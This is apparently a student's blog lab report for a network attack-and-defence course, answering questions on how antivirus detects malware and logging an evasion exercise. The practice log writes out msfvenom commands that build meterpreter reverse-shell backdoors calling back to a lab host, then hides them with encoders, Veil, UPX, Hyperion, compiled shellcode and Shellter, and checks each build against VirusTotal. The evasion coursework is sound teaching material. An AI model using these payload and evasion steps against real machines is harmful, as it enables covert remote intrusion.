Scroll to top

2019-2020-2 20175234 赵诗玥 《网络对抗技术》 Exp3 免杀原理与实践

实验内容

  • 正确掌握方法

    • 正确使用msf编码器(0.5分),
    • msfvenom生成如jar之类的其他文件(0.5分),
    • veil(0.5分),
    • 加壳工具(0.5分),
    • 使用C + shellcode编程(0.5分),
    • 使用其他课堂未介绍方法(0.5分)
  • 通过组合应用各种技术实现恶意代码免杀(0.5分)

  • 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(加分0.5)

基础问题回答

  • 杀软是如何检测出恶意代码的?

    • 特征检测:恶意代码常常具有明显的特征码也就是一段数据,杀软检测到具有该特征码的程序就当作检测到了恶意代码。
    • 启发式检测:杀毒软件会监根据些片面特征去推断。通常是因为缺乏精确判定依据。如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,那我们就把它当成一个恶意软件。
    • 行为检测:通过对恶意代码的观察、研究,有一些行为是恶意代码的共同行为,而且比较特殊。所以当一个程序在运行时,视其行为,如果发现了这种特殊的行为,则会把它当成恶意软件。
  • 免杀是做什么?
    答:通过一些技术手段,让杀毒软件无法检测扫描到恶意代码。

  • 免杀的基本方法有哪些?
    答:(1)改变特征码:加壳(2)改变行为:改变通讯方式,改变行为模式 (3)花指令免杀(毫无意义的指令)(4)二次编译实现免杀

实践总结与体会

  • 在本次实验中,我初步学习了免杀的知识,了解了一些可以做免杀的手段,虽然现在这些手段被检测的几率还是蛮大滴,但是为今后如果想要做免杀还是做好了铺垫。
  • 我的电脑安全软件是联想电脑管家(内置火绒),在本次实验中拖动恶意代码到电脑中都不会有提示,但是一旦尝试执行基本就会风险提示,并且风险详情描述的很准确,基本还是比较满意,以后会更加积极的更新升级。在做实验二三的时候就很烦,光被查出来,就网上各种搜资料,最后成功就很开心。
  • 这几天一直想从gouhub上下载东西,一直报错,搜了一下发现GitHub被劫持了???(一想到veil一直安装不成功,最后另辟蹊径,是因为这个,就很难受)等网络稳定了,再试一下BDF、venom吧

开启杀软能绝对防止电脑中恶意代码吗?

???怎么会呢,简单的看,最起码我们拖动恶意代码到电脑中时,杀软没有实现报错,而是在执行时报错。我们在VirusTotal上的结果不也说明,简单的免杀也有被杀软遗漏的嘛~再者恶意代码的“升级”“换代”同样会给杀软造成新的困难。更何况,有人专门在学习如何给杀软造成困难呢。

实践过程记录

一、掌握方法

1.1 使用msf编码器生成后门程序及检测

  • msfvenom直接生成

    • 输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.26.128 LPORT=5234 -f exe > 20175234_backdoor.exe
    • 拖到VIRUSTOTAL中检测

      可以清楚地看到,72个查杀软件中有58个可以检测到这段恶意代码。
  • msfvenom一次编码

    • msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 1 LHOST=192.168.26.128 LPORT=5234 -f exe > 20175234test.exe

    • VIRUSTOTAL检测

  • msfvenom多次编码

    • msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.26.128 LPORT=5234 -f exe > 20175234test.exe

    • VIRUSTOTAL检测

1.2 msfvenom生成如jar之类的其他文件

  • 输入指令msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.26.128 LPORT=5234 > 20175234.jar
  • 拖到VIRUSTOTAL中检测

    这个jar包60个程序中有34个程序检测到了恶意代码。

1.3 使用veil-evasion生成后门程序及检测

  • 下载veil-evasion

  • veil安装

    • 反复报错:Failed to connect to github.com port 443: 拒绝连接

      导致后面的安装无法进行,那么git clone不了咱们就手动解决一下
    • 将setup-dependencies下载下来放到/var/lib/veil/

      (新疆用不了网盘,就不提供资源了,需要可以私发)(也可以已成功的同学那里copy一个setup-dependencies)
    • 然后去/usr/share/veil/config/setup.sh里将git clone的语句注释掉(头头加##),就可以正常安装使用啦
  • 使用veil-evasion

    • 输入veil进入工具
    • use Evasion生成免查杀的程序
    • 可以使用list列出可生成的Payloads
    • 我选了个C语言的c/meterpreter/rev_tcp.py,选完以后可以info c/meterpreter/rev_tcp.py一下查看需要设置的参数
    • 简单的设置一下,generate生成
  • 拖动程序到virustotal检测一下

    45/71,这样就很难过

1.4 加壳工具

  • 压缩壳:upx

    • upx 20175234test.exe -o 20175234upxed.exe
    • 扫一下,试一下
  • 加密壳:Hyperion

    • 将要加密的恶意代码拉到/usr/share/windows-binaries/hyperion/
    • 进入/usr/share/windows-binaries/hyperion/
    • 执行wine hyperion.exe -v 20175234test.exe 5234hyperion.exe
    • 测试

1.5 使用C + shellcode编程

  • 使用msf生成一段shellcode

  • 创建一个.c文件,并且将刚才生成的unsigned char buf放进去

  • i686-w64-mingw32-g++ 20175234cshellcode.c -o c_shellcode.exe编译为可执行文件

  • 测试

    跟老师描述的一样,大部分杀毒软件可以鉴别

1.6 捆绑工具shellter使用

  • 下载安装sudo apt-get install shellter
  • 准备一个可执行程序,我从/usr/share/windows-binaries/把whoami.exe拖出来准备绑定了
  • shellter启动
  • 输入A自动绑定,输入文件名
  • 选择payload,设置lhost和lopost,然后等着生成成功就好了

  • 拖到win10立马报错,错都错了,拉去网站检查一下


    这个结果看起来有进步呀
  • 把上一步实验生成的被绑定恶意代码的whoami加个壳试一下?

    好样的,查杀率不降反升,放弃该思路

二、通过组合应用各种技术实现恶意代码免杀

  • Evasion模块免杀(达成√)

三、用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

- 联想电脑管家 2.8.90.11211
- 木马库版本时间 2020-03-24

参考资料

END

posted @ 2020-03-27 09:39  September_starlet  阅读(320)  评论(0编辑  收藏  举报
动态线条
动态线条end